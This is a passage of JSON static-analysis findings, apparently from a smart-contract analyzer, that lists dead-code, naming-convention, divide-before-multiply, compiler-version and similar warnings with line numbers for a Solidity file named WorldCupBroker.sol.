{"WorldCupBroker.sol": [429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [724, 725, 726, 727, 728, 729, 730, 731]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [192, 193, 186, 187, 188, 189, 190, 191]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 91, 92, 93, 94, 95]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [384, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1828]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [981, 982, 983, 984, 985]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [976, 977, 978, 979, 980]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1069, 1070, 1071, 1072, 1073, 1074, 1075, 1076]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [904, 905, 903]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [953, 954, 955, 956, 957, 958]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [391, 392, 393, 394, 395]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [947, 948, 949, 950, 951, 952]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1743, 1744, 1745, 1746, 1747, 1748, 1749, 1750, 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765, 1766, 1767, 1768]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [161, 162, 163, 164, 165, 166, 167, 168, 169, 170]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1216, 1217, 1218, 1211, 1212, 1213, 1214, 1215]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1037, 1038, 1039, 1040, 1041, 1042, 1043]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1184, 1185, 1186, 1187, 1188, 1182, 1183]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1676, 1677, 1678, 1679, 1680, 1681, 1682, 1683, 1684, 1685, 1686, 1687, 1688, 1689, 1690, 1691, 1692, 1693, 1694, 1695, 1696, 1697, 1698, 1699, 1700, 1701, 1702, 1703, 1704, 1705, 1706, 1707, 1708, 1709, 1710, 1711, 1712, 1713, 1714, 1715, 1716]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [672, 673, 674, 675, 676, 677, 678, 667, 668, 669, 670, 671]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [713, 714, 715]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1418, 1419, 1420, 1421, 1422, 1423, 1424, 1425, 1426, 1427, 1428, 1429, 1430, 1431, 1432, 1433]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1654, 1655, 1656, 1657, 1658, 1659, 1660, 1661, 1662]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1131, 1132, 1133, 1134, 1135, 1136]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1164, 1165, 1166, 1167, 1168, 1169]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [942, 943, 944, 945, 946]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [960, 961, 962, 963, 964, 959]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [689, 690, 691]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [928, 929, 930, 931, 927]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1095, 1096, 1097, 1098, 1099, 1100, 1101, 1102, 1103]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [971, 972, 973, 974, 975]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1283, 1284, 1285]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1248, 1249, 1250, 1251, 1243, 1244, 1245, 1246, 1247]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1719, 1720, 1721, 1722, 1723, 1724, 1725, 1726, 1727, 1728, 1729, 1730, 1731, 1732, 1733, 1734, 1735, 1736, 1737, 1738, 1739]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1300, 1301, 1302, 1303, 1304, 1305, 1306, 1307, 1308, 1309, 1310, 1311, 1312, 1313, 1314, 1315, 1316, 1317, 1318]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1030, 1031, 1032, 1033, 1034, 1035, 1036]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [416, 417, 418, 419, 420, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [599, 600, 601, 602, 603, 604]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [986, 987, 988, 989, 990]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1664, 1665, 1666, 1667, 1668, 1669, 1670, 1671, 1672, 1673, 1674]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [177, 178, 179]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1088, 1089, 1090, 1091, 1092, 1093, 1094, 1086, 1087]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1435, 1436, 1437, 1438, 1439, 1440, 1441, 1442, 1443, 1444, 1445, 1446, 1447, 1448, 1449, 1450, 1451, 1452, 1453, 1454, 1455, 1456, 1457, 1458, 1459, 1460, 1461, 1462, 1463, 1464, 1465, 1466, 1467, 1468, 1469, 1470, 1471, 1472, 1473, 1474, 1475]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1384, 1382, 1383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1196, 1197, 1198, 1199, 1200, 1201, 1202]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1270, 1271, 1272, 1273, 1274, 1275, 1276, 1277, 1278]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1792, 1793, 1794, 1795, 1796, 1797, 1798, 1799, 1800, 1801, 1802, 1803, 1804, 1805, 1806, 1807, 1808, 1809, 1771, 1772, 1773, 1774, 1775, 1776, 1777, 1778, 1779, 1780, 1781, 1782, 1783, 1784, 1785, 1786, 1787, 1788, 1789, 1790, 1791]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1219, 1220, 1221, 1222, 1223, 1224, 1225, 1226]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [912, 913, 914, 915, 916]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1227, 1228, 1229, 1230, 1231, 1232, 1233, 1234]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1189, 1190, 1191, 1192, 1193, 1194, 1195]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [280, 281, 282]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [932, 933, 934, 935, 936]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [724, 725, 726, 727, 728, 729, 730, 731]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1576, 1574, 1575]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [907, 908, 909, 910, 911]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1120, 1121, 1122, 1123, 1124, 1119]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1024, 1025, 1026, 1027, 1028, 1029, 1023]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1261, 1262, 1263, 1264, 1265, 1266, 1267, 1268, 1269]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1525, 1526, 1527]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1392, 1390, 1391]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [937, 938, 939, 940, 941]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [333, 334, 335]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1170, 1171, 1172, 1173, 1174, 1175]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1104, 1105, 1106, 1107, 1108, 1109, 1110, 1111, 1112]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [384, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1158, 1159, 1160, 1161, 1162, 1163]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1320, 1321, 1322, 1323, 1324, 1325, 1326, 1327, 1328, 1329, 1330, 1331, 1332, 1333, 1334, 1335, 1336]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1142, 1143, 1144, 1145, 1146]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1252, 1253, 1254, 1255, 1256, 1257, 1258, 1259, 1260]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761, 762, 763]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1152, 1153, 1154, 1155, 1156]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1016, 1017, 1018, 1019, 1020, 1021, 1022]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1203, 1204, 1205, 1206, 1207, 1208, 1209]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [614, 615, 616, 617, 618]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1125, 1126, 1127, 1128, 1129, 1130]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [704, 705, 699, 700, 701, 702, 703]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1004, 1005, 1006, 1007, 1008, 1009]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1290, 1291, 1292]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1113, 1114, 1115, 1116, 1117, 1118]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1477, 1478, 1479, 1480, 1481, 1482, 1483, 1484, 1485, 1486, 1487, 1488, 1489, 1490, 1491, 1492, 1493, 1494, 1495, 1496, 1497, 1498, 1499, 1500, 1501, 1502, 1503, 1504, 1505, 1506, 1507, 1508, 1509, 1510, 1511, 1512, 1513, 1514, 1515, 1516, 1517]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [965, 966, 967, 968, 969, 970]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1061, 1062, 1063, 1064, 1065, 1066, 1067, 1068]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1010, 1011, 1012, 1013, 1014, 1015]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1338, 1339, 1340, 1341, 1342, 1343, 1344, 1345, 1346, 1347, 1348, 1349, 1350, 1351, 1352, 1353, 1354, 1355, 1356, 1357, 1358, 1359, 1360, 1361, 1362, 1363]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1536, 1537, 1538, 1539, 1540, 1541, 1542, 1543, 1544, 1545, 1546, 1547, 1548, 1549, 1550, 1551, 1552, 1553, 1554, 1555, 1556, 1557, 1558, 1559, 1560, 1561, 1562, 1563, 1564, 1565, 1566, 1567, 1568, 1569, 1570, 1571, 1572, 1529, 1530, 1531, 1532, 1533, 1534, 1535]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1176, 1177, 1178, 1179, 1180, 1181]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [899, 900, 901]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1137, 1138, 1139, 1140, 1141]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1045, 1046, 1047, 1048, 1049, 1050, 1051, 1052]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [232, 233, 231]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1147, 1148, 1149, 1150, 1151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [992, 993, 994, 995, 996, 997]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [998, 999, 1000, 1001, 1002, 1003]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1056, 1057, 1058, 1059, 1060, 1053, 1054, 1055]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [1581, 1582, 1583, 1584, 1585, 1586, 1587, 1588, 1589, 1590, 1591, 1592, 1593, 1594, 1595, 1596, 1597, 1598, 1599, 1600, 1601, 1602, 1603, 1604, 1605, 1606, 1607]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2154]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2215]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [380]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2247, 2248, 2249, 2250, 2251, 2252]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [810]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2080, 2081, 2082, 2083, 2073, 2074, 2075, 2076, 2077, 2078, 2079]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2095, 2096, 2097, 2098, 2099, 2100, 2101, 2102, 2103, 2104, 2105, 2106, 2107, 2108, 2109, 2110, 2111, 2112, 2113, 2114, 2115, 2116, 2117, 2118, 2119, 2120, 2121, 2122, 2123, 2124]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [805]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [891, 892, 893]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2135, 2136, 2137, 2138, 2139]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2240, 2241, 2242, 2238, 2239]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2259, 2260, 2261]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2267, 2268, 2269, 2270]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2027, 2028, 2029]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2048, 2049, 2050, 2051, 2052, 2053, 2054, 2055, 2056, 2057, 2058, 2059, 2060, 2046, 2047]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [809]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2176, 2177, 2178, 2179, 2180, 2181, 2182, 2183, 2184, 2185, 2186, 2187, 2188, 2189, 2190, 2191, 2192, 2193, 2194, 2195, 2196, 2197, 2198, 2199, 2200, 2201, 2202, 2203, 2204, 2205, 2206, 2207, 2208, 2209, 2210, 2211, 2212, 2213, 2214, 2215, 2216, 2217, 2218, 2219, 2220, 2221, 2222, 2174, 2175]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [37, 38, 39, 40, 41]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2016, 2017, 2018, 2019, 2020, 2021, 2022, 2015]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [807]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2372]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [816]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [1974, 1975, 1976, 1977, 1978, 1979, 1980, 1981, 1982, 1983, 1984, 1985, 1986, 1987, 1988, 1989, 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012, 2013]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2146, 2147, 2148, 2149, 2150, 2151, 2152, 2153, 2154, 2155, 2156, 2157, 2158, 2159, 2160, 2161, 2162, 2163, 2164, 2165, 2166]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"WorldCupBroker.sol": [2228, 2229, 2230, 2231, 2232]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1828]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [799]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [83]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"WorldCupBroker.sol": [203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"WorldCupBroker.sol": [2260]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1196, 1197, 1198, 1199, 1200, 1201, 1202]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2174]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1578]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [942, 943, 944, 945, 946]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1176, 1177, 1178, 1179, 1180, 1181]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [928, 929, 930, 931, 927]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [976, 977, 978, 979, 980]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1395]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1037, 1038, 1039, 1040, 1041, 1042, 1043]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1521]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1288, 1286, 1287]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1382]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [827]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [891, 892, 893]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1235, 1236, 1237, 1238, 1239, 1240, 1241, 1242]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [907, 908, 909, 910, 911]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [824]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1609, 1610, 1611, 1612, 1613, 1614, 1615, 1616, 1617, 1618, 1619, 1620, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631, 1632, 1633, 1634, 1635, 1636, 1637, 1638, 1639, 1640, 1641, 1642]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1077, 1078, 1079, 1080, 1081, 1082, 1083, 1084, 1085]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [832]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1664]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [1320]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"WorldCupBroker.sol": [2095]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": 